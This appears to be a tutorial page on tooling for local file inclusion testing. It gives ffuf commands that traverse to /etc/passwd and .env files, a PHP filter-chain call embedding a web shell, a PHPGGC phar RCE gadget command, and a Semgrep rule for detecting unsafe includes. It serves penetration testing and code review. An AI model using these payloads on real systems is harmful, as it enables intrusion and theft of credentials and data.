Tooling
What to use, what each tool is actually good at, and the wordlist problem that makes most automated LFI scanning less useful than it looks.
The honest summary
There is no good general-purpose file-inclusion scanner, and the reason is structural rather than a gap someone could fill.
Finding the bug is easy — a handful of traversal payloads and a response diff. Everything that comes after depends on knowing the prefix, the suffix, the sink type, and what is on the disk, none of which a scanner can determine. So a tool can tell you a parameter is traversable and then stops being useful exactly where the work starts.
Use tools for the mechanical parts: enumerating parameters, fuzzing depth, spraying a file list. Do the rest by hand, starting with a source read.
ffuf
# The workhorse. Everything below is about calibrating what "different"
# means, because that is the entire difficulty.
# 1. Filter out the baseline. Send a nonsense value first, note the response
# size, and exclude it — otherwise every result is a false positive.
ffuf -u 'https://target.example/index.php?page=FUZZ' \
-w lfi-payloads.txt -fs 4242
# 2. Auto-calibration does the same thing without you measuring by hand.
# -ac learns the baseline from random inputs; -acc adds specific ones.
ffuf -u 'https://target.example/index.php?page=FUZZ' \
-w lfi-payloads.txt -ac
# 3. Find the depth. Two wordlists: one of ../ repetitions, one of targets.
ffuf -u 'https://target.example/index.php?page=W1W2' \
-w depths.txt:W1 -w files.txt:W2 -ac -mode clusterbomb
# 4. Find the parameter in the first place.
ffuf -u 'https://target.example/index.php?FUZZ=../../../../etc/passwd' \
-w burp-parameter-names.txt -ac
# 5. Match on content rather than size when the page is dynamic — far more
# reliable than -fs on anything with a timestamp or a CSRF token in it.
ffuf -u 'https://target.example/index.php?page=FUZZ' \
-w lfi-payloads.txt -mr 'root:x:0:0'
# 6. Authenticated, from a saved request. Put FUZZ anywhere in the file.
ffuf -request req.txt -request-proto https -w lfi-payloads.txt -acThe wordlist problem
The standard LFI wordlists are mostly from the same era as the techniques they encode, which means a large fraction of every list is dead weight:
- Entries with
%00— dead since 2010, and they will never match on anything supported. - Entries with
%c0%ae— dead since decoders became conformant. - Hundreds of
../permutations that a single padded entry covers. - Windows paths sprayed against Linux targets and the reverse.
A short, targeted list beats a long generic one here, and it beats it on both speed and signal. Build one per target once you know the platform and the depth:
# Depths — ten is plenty; extras at / are no-ops
for i in $(seq 1 10); do printf '%0.s../' $(seq 1 $i); echo; done > depths.txt
# Targets — what you actually want, informed by the source read
cat > files.txt <<'EOF'
etc/passwd
proc/self/environ
proc/self/cmdline
var/www/html/config.php
var/www/html/.env
EOF
SecLists and PayloadsAllTheThings are still the right starting point — just prune before firing.
Burp Suite
Where Burp earns its place on this bug class:
Intruder with a cluster bomb over depth × filename, which is the same job as ffuf but with the response comparison in front of you. For a small search space this is faster to interpret than a terminal full of sizes.
Comparer on two responses. The difference between "file not found" and "file found but empty" is frequently a handful of bytes, and eyeballing it in Comparer is quicker than tuning a filter.
Repeater for the actual work. Once the bug is confirmed, everything useful is manual: reading source, following includes, building the chain.
The extensions worth having: Param Miner for finding parameters that are not in the request, Turbo Intruder when you need genuine concurrency for the temp-file race, and Hackvertor for nested encodings.
Burp's own scanner will find a straightforward traversal and will not find a filter-chain path, which is the general shape of the tooling situation.
Specialised tools
# php_filter_chain_generator — the reference implementation of the filter
# chain technique. This one IS worth having; the chain is not something to
# build by hand.
git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'
# Or use /filter-chain on this site.
# wrapwrap — prepends chosen bytes to a file the wrapper reads, rather than
# synthesising a whole file. Use when the target parses what it reads.
git clone https://github.com/ambionics/wrapwrap
# PHPGGC — gadget chains for phar:// deserialization. Essential for that
# path; useless for anything else.
git clone https://github.com/ambionics/phpggc
./phpggc -l # what chains exist
./phpggc Monolog/RCE1 system id -p phar -o evil.phar
# LFISuite and similar all-in-one LFI exploiters are largely unmaintained
# and encode the dead techniques above. Mentioned because you will find
# them recommended; not recommended here.For code review
# Semgrep has decent built-in rules for this class across languages.
semgrep --config 'p/security-audit' .
semgrep --config 'p/owasp-top-ten' .
# A targeted rule beats the generic packs — the pattern is simple and the
# generic rules miss framework-specific sinks.
cat > lfi.yml <<'EOF'
rules:
- id: php-dynamic-include
languages: [php]
severity: ERROR
message: >-
include/require with a request-derived path. Map the parameter through
an allowlist instead.
patterns:
- pattern-either:
- pattern: include($X);
- pattern: include_once($X);
- pattern: require($X);
- pattern: require_once($X);
- metavariable-pattern:
metavariable: $X
patterns:
- pattern-either:
- pattern: $_GET[...]
- pattern: $_POST[...]
- pattern: $_REQUEST[...]
- pattern: $_COOKIE[...]
EOF
semgrep --config lfi.yml .
# Per-language greps are in each runtime guide — see /guide/php-prevention
# and its siblings.The tools here
- Payload Builder — compose a payload from sink, target, encoding, wrapper and suffix, and get a per-configuration verdict on whether it fires. Useful mainly for the verdict: it will tell you when a combination cannot work and why, which saves sending it.
- Filter Chain Generator — generates the chain in the browser, with length warnings against the common request-line limits and a debug mode for when a chain comes back empty.
- Cheatsheet — the wrapper × configuration matrix, and the same bug across seven runtimes.
- Lab — a simulated sink where you can toggle each defence and watch the resolution change. The fastest way to build intuition for why
....//works against one filter and not another.
All of it runs client-side. Nothing you type is sent anywhere.
Related
An order of operations that answers the questions that change what you do next, before spending time on payloads that the answers would have ruled out.
Stack enough iconv conversions and php://filter stops reading files and starts producing them. A read-only primitive becomes code execution on a completely stock php.ini — no upload, no writable directory, no outbound connection.
A phar:// reference unserializes the archive's metadata on any stream operation. That makes file_exists() an execute path, and it is the reason a read-only sink is not safe.
One fix works and the rest are mitigations. Knowing which is which is the difference between a remediation that holds and a config change that gets reported again next year.
The only runtime with a stream-wrapper layer, and therefore the only one where a filename can become a URL. What to fix, in the order it matters.